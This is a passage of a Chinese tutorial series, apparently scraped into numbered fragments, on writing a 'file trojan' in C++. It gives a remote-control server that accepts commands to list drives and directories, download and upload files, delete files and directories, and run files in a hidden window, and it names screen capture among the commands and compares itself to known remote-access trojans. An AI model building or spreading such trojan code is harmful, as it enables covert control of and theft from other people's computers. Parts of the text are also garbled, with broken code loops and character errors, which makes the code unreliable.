1、 c++实现文件传输之一:框架结构和界面实现 在木马中文件管理的重要性,是无需质疑的,对于文件的管理,做到并不难,但做好却也不易在我们编写一个功能完整的“文件木马〞 其实现效果如下图。为了文章的完整性,我们将分为数篇来介绍,本文主要介绍程序的整体框架和界面实现,在以后的文章中将以此框架为根底实现详细的功能。 实现:枚举磁盘,枚举目录,获取文件信息 上传文件,下载文件,执行文件,创建目录,删除目录等 传输控制结构 要实现客户端与服务端的通信,设计一个合理的传输控制结构,会使后面的工作轻松很多,为了使代码易读 首先对要使用的
2、命令进展预定义其各个命令定义如下 #define GetDriver 0x01 //磁盘信息 #define GetDirInfo 0x02 //目录信息 #define ExecFile 0x03 //执行文件 #define GetFile 0x04 //下载文件 #define PutFile 0x05 //上传文件 #define DelFile 0x06 //删除文件 #define DelDir 0x07 //删除目录 #define CreateDir 0x08 //创建目录 #define FileInfo 0x09 //文件信息 #define Get
3、Screen 0x10 //查看屏幕 在程序的网络通信中主要有 操作命令 ,命令对像,和具体数据三局部,对于命令的传输定义如下结构 typedef struct { int ID; //操作命令 BYTE lparam[BUF_LEN*2]; //命令对像 }COMMAND; 因为在程序中打交道最多的就是文件,对文件的详细属性定义如下结构 typedef struct { char FileName[MAX_PATH]; //文件名称 int FileLen; //文件长度 char Time[50]; //时间信息 BOOL IsD
4、ir; //为目录否 BOOL Error; //错误信息 HICON hIcon; //图标句柄 }FILEINFO; 服务端结构 服务端还是比拟简单的其整体思路如下 1.服务端循环承受连接,并把连接交给线程处理 2.线程承受"命令数据",并跟据命令ID将命令对像和SOCKET句柄传给处理函数 3.函数执行指定功能,并返回执行结果 对整体结构的描述,我们用伪代码表述如下 main() { /*初示化设置......*/ while(true) { if(client=accept(server,(sockaddr *)&clientaddr,&
5、len))//循环承受连接 { CreateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);//传递线程处理 } } /*清理释放资源......*/ WSACleanup(); } 服务端程序运行后循环承受连接,如果有新的连接就传递给新的线程处理,线程代码如下 DWORD WINAPI SLisen(LPVOID lparam) { SOCKET client=(SOCKET)lparam; COMMAND command; while(1) { if(recv(client,(char*)&com
6、mand,sizeof(command),0)==SOCKET_ERROR)//承受命令数据 { cout<<"The Clinet Socket is Closed/n"; break; }else { switch(command.ID)//判断命令ID { case GetDriver://将命令对像和SOCKET句柄传递给处理函数 GetDriverProc (command,client); break; case DelFile: DelFileProc (command,client); break; /*其它命令...
7、/ } } } } 线程式的功能是承受客户端的"命令数据",并跟跟据命令ID 将命令对像传递给处理函数,由函数完成指定的功能 以删除文件命令为例其函数格式如下 DWORD DelFileProc (COMMAND command,SOCKET client) { if(DeleteFile((char*)command.lparam)==0)//command.lparam为命令对像,这里为要删除的文件路径 { send(client,"删除失败..."); } else { send(client,"删除成功..."); } } 很容易
8、看出,处理函数承受"命令对像"和客户端SOCKET句柄,执行后会把结果传递回去.... 客户端结构 客户端结构的实现思路如下 1.跟服务端建立连接 2.发送用户命令 3.启动一个线程,用于承受服务端的返回信息 对整体结构的描述,我们用伪代码表述如下 void CMyDlg::OnConnect() { if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr))<0)//连接.... { return ; } CreateThread(NULL,NULL,CLisen,this,NULL,N
9、ULL);//创建线程用于承受SERVER返回信息 } 对于用户发送的命令我们仍以删除文件为例说明其代码如下 void CMyDlg::OnMenuDelFile() { HTREEITEM CurrentNode = m_tree.GetSelectedItem(); //取得选择的节点 CString FullPath =GetFullPath(CurrentNode); //取得节点全目录 COMMAND command; command.ID=DelFile; //设置命令为删除文件 //删除文件 command.lparam=FullPath.Lock
10、Buffer()); //将路径参加命令对像 send(server,command); } 用于承受SERVER返回信息的线程,和服务端承受命令线程相似,这里就不再说明了,有兴趣可以看下源代码 到这里程序的流程框架就介绍完了,下面我们再看一下程序的界面设置. 界面实现 程序的主界面如上图所示,主程序是一个对话框,主要包括一个树控件m_tree和列表控件m_list分别 用于显示磁盘目录和文件,在对话框初示化时用以下代码设置树控件的属性 DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE); dwSt
11、yle |=TVS_HASBUTTONS | TVS_HASLINES | TVS_LINESATROOT; SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle); 对于列表框控件那么没有太多要求,要留意的是,如果显示图标应该把Styles显示属性设置为ICON VC的做出的界面,常常让人有种摔键盘的冲动。其实稍微留意一下其设置,也可以让它漂亮一些 比如上图所示的界面就是经过简单设置得到的,而没有用其它类库,有点兴趣?其设置方法为: 1.在对话框属性中设置Styles 的Border属性为Thin 2.选重More Styles
12、"可见" 属性 3.选重Extended Styles的"静态边"属性 这样再运行一下程序是不是感觉清新不少? 到这里程序的主要结构框架和界面实现就介绍完了,下一篇将详细介绍其各种功能的实现 c++实现文件传输之二 在上一篇中,我们以经介绍了程序的流程和框架,在本篇将详细讨论各个功能的实现主要包括 1.获取磁盘信息 2.获取目录信息 3.获取文件信息 4.运行指定文件 5.删除指定文件 6.删除指定目录 7.创建指定目录 8.上传下载文件 9.获取远程文件图标 获取磁盘信息 磁盘信息可以用API GetDriveType来实现,它
13、以路径名作为参数(如C:/)返回磁盘类型,其实例代码如下 DWORD GetDriverProc(COMMAND command,SOCKET client) { for(char i='A';i<='Z';i++) { char x[20]={i,':'}; UINT Type=GetDriveType(x); if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM) { /*返回处理结果...*/ } } return 0; } GetDriveType可能返回的结果如下 #de
14、fine DRIVE_UNKNOWN 0 // 无效路径名 #define DRIVE_NO_ROOT_DIR 1 // 无效路经,如无法找到的卷标 #define DRIVE_REMOVABLE 2 // 可移动驱动器 #define DRIVE_FIXED 3 // 固定的驱动器 #define DRIVE_REMOTE 4 // 网络驱动器 #define DRIVE_CDROM 5 // CD-ROM #define DRIVE_RAMDISK 6 // 随机存取(RAM)磁盘 在上面的实例代码中我们只取,硬盘,光驱和
15、移动磁盘 获取目录信息 这里只要枚举用户指定的目录就可以了,其实例代码如下: DWORD GetDirInfoProc(COMMAND command,SOCKET client) { /*command为要枚举的路径如(C:/)client为返回结果的SOCKET句柄*/ FILEINFO fi; memset((char*)&fi,0,sizeof(fi)); strcat((char*)command.lparam,"*.*");//枚举所有文件 CFileFind file; BOOL bContinue = file.FindFile((c
16、har*)command.lparam); while(bContinue) { memset((char*)&fi,0,sizeof(fi)); bContinue = file.FindNextFile(); if(file.IsDirectory()) //为目录 { fi.IsDir=true; } strcpy(fi.FileName,file.GetFileName().LockBuffer()); //保存文件名称 if(send(client,(char*)&fi,sizeof(cmd),0)==SOCKET_ERROR) { cout <<
17、 "Send Dir is Error/n"; } } return 0; } 获取文件信息 以下实例代码用来获取 文件的名称,路径,时间,属性等信息 DWORD FileInfoProc (COMMAND command,SOCKET client) { /*command为要查看的文件如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/ FILEINFO fi; HANDLE hFile; WIN32_FIND_DATA WFD; memset((char*)&WFD,0,sizeof(WFD)); if((hFile=FindF
18、irstFile((char*)command.lparam,&WFD))==INVALID_HANDLE_VALUE) //查看文件属性 { fi.Error=true; return 0; } //得到文件的相关信息 SHGetFileInfo(WFD.cFileName, FILE_ATTRIBUTE_NORMAL, &shfi, sizeof(shfi), SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME ); strcpy(fi.FileName,(char*)command.lparam); //文件路径 F
19、ileLen=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024; //文件长度 fi.FileLen=FileLen; //转化格林时间到本地时间 FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime); FileTimeToSystemTime(&localtime,&systime); //文件修改时间 sprintf(stime,"%4d-%02d-%02d %02d:%02d:%02d", systime.wYear,systime.wMonth,systime.
20、wDay,systime.wHour, systime.wMinute,systime.wSecond); if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_HIDDEN) { /*隐藏文件...*/ }else if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_READONLY) { /*只读文件...*/ } send(client,(char*)&fi,sizeof(fi),0); FindClose(hFile); retur
21、n 0; } 运行指定文件 运行文件 有以下几种方法 1.WinExec 2.ShellExecute 3.CreateProcess 这里使用的是ShellExecute其实例代码如下 DWORD ExecFileProc (COMMAND command,SOCKET client) { /*command为要运行的文件路径如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/ COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=ExecFile; if(She
22、llExecute(NULL,"open",(char*)command.lparam,NULL,NULL,SW_HIDE)<(HINSTANCE)32) { strcpy((char*)cmd.lparam,"文件执行失败!"); send(client,(char*)&cmd,sizeof(cmd),0); } else { strcpy((char*)cmd.lparam,"文件执行成功!"); send(client,(char*)&cmd,sizeof(cmd),0); } return 0; } API函数ShellExecute原形为: H
23、INSTANCE ShellExecute( HWND hwnd, //窗口句柄 LPCTSTR lpOperation, //操作类型 LPCTSTR lpFile, //文件指针 LPCTSTR lpParameters, //文件参数 LPCTSTR lpDirectory, //缺省目录 INT nShowCmd //显示方式 ); 这是一个相当有意思的函数,在调用此函数时只须指定要执行的文件名,而不必管用什么程序去打开 或执行文件,WINDOWS会自动根据要打开或执行的
24、文件去判断该如何执行文件或用什么程序去打开文件,如果 要求不高的话比CreateProcess要好用的多,如果想做出像NCPH和灰鸽子那样带参数执行的话,其实也不难 只要指定lpParameters为执行参数就可了 删除指定文件 DWORD DelFileProc (COMMAND command,SOCKET client) { /*command为要删除的文件路径如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/ COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=DelFil
25、e; SetFileAttributes((char*)command.lparam,FILE_ATTRIBUTE_NORMAL); //去掉文件的系统和隐藏属性 if(DeleteFile((char*)command.lparam)==0) { strcpy((char*)cmd.lparam,"文件删除失败!"); send(client,(char*)&cmd,sizeof(cmd),0); } else { strcpy((char*)cmd.lparam,"文件删除成功!"); send(client,(char*)&cmd,sizeof(cmd),0); }
26、 return 0; } 需要注意的是在 DeleteFile前应该去文件的系统和隐藏属性,否那么会删除失败 删除目录 可以用RemoveDirectory函数删除目录,但是RemoveDirectory有个缺点就是只能删除为空的的目录,对于不为空 的目录就无能为力了,想要删除不无空的目录可以使用下面的实例代码 BOOL DeleteDirectory(char *DirName) { CFileFind tempFind; char tempFileFind[200]; sprintf(tempFileFind,"%s*.*",DirName); BO
27、OL IsFinded=(BOOL)tempFind.FindFile(tempFileFind); while(IsFinded) { IsFinded=(BOOL)tempFind.FindNextFile(); if(!tempFind.IsDots()) { char foundFileName[200]; strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200)); if(tempFind.IsDirectory()) {
28、 char tempDir[200]; sprintf(tempDir,"%s//%s",DirName,foundFileName); DeleteDirectory(tempDir); } else { char tempFileName[200]; sprintf(tempFileName,"%s//%s",DirName,foundFileName); SetFileAttributes(tempFileName,FILE_ATTRIBUTE_NORMAL); /
29、/去掉文件的系统和隐藏属性
DeleteFile(tempFileName);
cout <<"now delete "< 30、在传参数时的失误
结果把整个D盘差点清空了..........
创建目录
实例代码如下:
DWORD CreateDirProc (COMMAND command,SOCKET client)
{
/*command为要创建目录的路径如(C:/)client为返回结果的SOCKET句柄*/
COMMAND cmd;
memset((char*)&cmd,0,sizeof(cmd));
cmd.ID=CreateDir;
if(::CreateDirectory((char*)command.lparam,NULL))
{
strcpy((char*) 31、cmd.lparam,"创建目录成功!");
send(client,(char*)&cmd,sizeof(cmd),0);
}
else
{
strcpy((char*)cmd.lparam,"创建目录失败!可能有重名文件或文件夹");
send(client,(char*)&cmd,sizeof(cmd),0);
}
return 0;
}
在创建目录时应该注意几点,首先创始目录的上层目录必须是存在的,比如想创建C:/DIR1/DIR2目录,要求
DIR1是必须存在,用CreateDirectory并不能创建多级目录.再者不可以存在和要创建目录同名的目录和文件 32、
因为在磁盘上目录和文件的存放格式是一样的,惟一不同的是 目录的属性与文件属性不同
(FILE_ATTRIBUTE_DIRECTORY属性),所在即使有同名文件也会创始失败.
上传下载文件
上传下载是是文件管理的重点所在,在这里按文件的大小,分两种情况讨论文件的传输方法
小文件的传输相比照拟简单可按以下方法进展
1.首先发送文件长度和名称
2.跟据文件长度建立缓冲区
3.读取整个文件到缓冲区
4.发送缓冲区里的容
其实现代码如下:
CFile file;
FILEINFO fileinfo;
if(file.Open(path,CF 33、ile::modeRead|CFile::typeBinary))
{
fileinfo.FileLen=file.GetLength(); //文件长度
strcpy(fileinfo.FileName,file.GetFileName()); //文件名称
send(client,(char*)&fileinfo,sizeof(fileinfo),0); //发送长度和名称
char *date=new char[fileinfo.FileLen]; //分配和文件长度一样的缓冲区
int nLeft=fileinfo.FileLen;
int idx=0;
file. 34、Read(date,fileinfo.FileLen); //读整个文件到缓冲区
while(nLeft>0)
{
int ret=send(client,&date[idx],nLeft,0); //发送文件
if(ret==SOCKET_ERROR)
{
break;
}
nLeft-=ret;
idx+=ret;
}
file.Close();
delete[] date;
}
跟据上面的实例相信大家可以领悟到文件传输的根本原理和方法,虽然很简单但用它传输小文件还是非常实用的
大文件传输方法
用上面的方法传输小文件还可以,但是大文件呢?比如一个 35、500M的电影.上面的方法就会力不从心了因为
按思路要创建一个跟文件大小一样的缓冲区,显然这是不太现实的,我们就得采用另种方法了,在这里我们使用
分块文件传输,所谓分块是指把大文件分成假设干小文件,然后传输,比如设定每块大小为64KB其思路如下
1.取得文件长度和名称
2.跟据长度/64KB计算文件块数
3.分配64KB缓冲区
4.读文件到缓冲区
5.发送缓冲的数据
6.重复4,5两步直到发完所有数据
其实现代码如下:
#define CHUNK_SIZE (64*1024) //分为64K块传输
DWORD GetFileProc (COMMAND 36、command,SOCKET client)
{
/*command为要下载文件的路径如(C:/TEST.EXE)client为发送文件的SOCKET句柄*/
COMMAND cmd;
FILEINFO fi;
memset((char*)&fi,0,sizeof(fi));
memset((char*)&cmd,0,sizeof(cmd));
cmd.ID=GetFile;
CFile file;
int nChunkCount=0; //文件块数
if(file.Open((char*)command.lparam,CFile::modeRead|C 37、File::typeBinary))//打开文件
{
int FileLen=file.GetLength(); //取文件长度
fi.FileLen=file.GetLength();
strcpy((char*)fi.FileName,file.GetFileName()); //取文件名称
memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi));
send(client,(char*)&cmd,sizeof(cmd),0); //发送文件名称和长度
nChunkCount=FileLen/CHUNK_SIZE; //文件块数
38、if(FileLen%nChunkCount!=0)
nChunkCount++;
char *date=new char[CHUNK_SIZE]; //创建数据缓冲区
for(int i=0;i 39、hile(nLeft>0)
{
int ret=send(client,&date[idx],nLeft,0);//发送文件
if(ret==SOCKET_ERROR)
{
break;
}
nLeft-=ret;
idx+=ret;
}
}
file.Close();
delete[] date;
}
return 0;
}
这样文件传输局部就完成了,止于客户端的实现于上面代码其本一样,只是由读文件变为写文件,详细请参考源代码
获取远程ICO文件图标
我们在文件列表框中需要显示文件的图标,但远程文件的ICO图标是无法直接得到的
猛假设RADM 40、IN 黑洞者也没有到(对于EXE文件只显示可执行程序图示),当然了也不见的决对没有......
我们可以通过如下变通方法得到:就是跟据文件的扩展名,从本地注册表中查找对应的程序图标
不过这也有它的缺点对于EXE文件它只能显示一个可执行文件的图示,而且只能显示注册过的图示比如,如果
本机装有WINRAR那么就可以识别.RAR的文件图示,否那么就无法识别...
实现方法
CImageList m_ImageList;
m_ImageList.Create(32,32,ILC_COLOR32,10,30); //创建图示
m_list.SetImageList(&m 41、ImageList,LVSIL_NORMAL); //与列表控件相关连
SHFILEINFO info;
memset((char*)&info,0,sizeof(info));
SHGetFileInfo(fi->FileName,0,&info,sizeof(&info), SHGFI_ICON|SHGFI_USEFILEATTRIBUTES);//关键所在
int i = m_ImageList.Add(info.hIcon);
m_list.InsertItem(i,fi->FileName,i);
原来我试图在Server端通过上面的代码把inf 42、o.hIcon句柄保存下来,然后放到Client,在单台电脑上很好使,但
Server在另一台电脑上时就玩完了,因为info.hIcon里保存的句柄是个索引而每台机器上的索引是不一样的所以
直接导致的结果就是:什么也显示不出来....
c++实现文件传输之三:断点续传与多线程传输转
继木马编程DIY的上两篇,现在我们开始讨论断点续传与多线程文件传输的实现.其实这两项功能是下载软件所
必不可少的功能了,现在我们把它加到自己的木马中来感受感受.提到多线程下载,首先向网络蚂蚁的作者
洪以容前辈致敬,正是由于网络蚂蚁而使得多线程下载被关注并流行起来.在这本篇文章中我们将简单的实现 43、
支持断点续传和多线程传输的程序.为了更清晰的说明问题,我们将断点续传与多线程传输分别用两个程序来实现
多线程传输实现
实现原理
将源文件按长度为分为N块文件,然后开辟N个线程,每个线程传输一块,最后合并所有线线程文件.比如
一个文件500M我们按长度可以分5个线程传输.第一线程从0-100M,第二线程从100M-200M......最后合并5个线程文件.
实现流程
1.客户端向服务端请求文件信息(名称,长度)
2.客户端跟据文件长度开辟N个线程连接服务端
3.服务端开辟新的线程与客户端通信并传输文件
4.客户端将每线程数据保存到一个文件
5.合并所有线程文件
编码 44、实现
大体说来就是按以上步骤进展,详细的实现和一些要点,我们跟据以上流程在编码中实现
结构定义
在通信过程中需要传递的信息包括文件名称,文件长度,文件偏移,操作指令等信息,为了方便操作我们定义如下结构
代码:
typedef struct
{
char Name[100]; //文件名称
int FileLen; //文件长度
int CMD; //操作指令
int 45、 seek; //线程开始位置
SOCKET sockid;
}FILEINFO;
1.请求文件信息
客户端代码如下
代码:
FILEINFO fi;
memset((char*)&fi,0,sizeof(fi));
fi.CMD=1; //得到文件信息
if(send(client,(char*)&fi,sizeof(fi),0)==SOCKET_ERROR)
46、 {
cout<<"Send Get FileInfo Error/n";
}
服务端代码如下
while(true)
{
SOCKET client;
if(client=accept(server,(sockaddr *)&clientaddr,&len))
{
FILEINFO RecvFileInfo;
47、 memset((char*)&RecvFileInfo,0,sizeof(RecvFileInfo));
if(recv(client,(char*)&RecvFileInfo,sizeof(RecvFileInfo),0)==SOCKET_ERROR)
{
cout<<"The Clinet Socket is Closed/n";
break;
48、 }else
{
EnterCriticalSection(&CS); //进入临界区
memcpy((char*)&TempFileInfo,(char*)&RecvFileInfo,sizeof(RecvFileInfo));
switch(TempFileInfo.CMD)
49、
{
case 1:
GetInfoProc (client);
break;
case 2:
50、 TempFileInfo.sockid=client;
CreateThread(NULL,NULL,GetFileProc,NULL,NULL,NULL);
break;
}
LeaveCriti






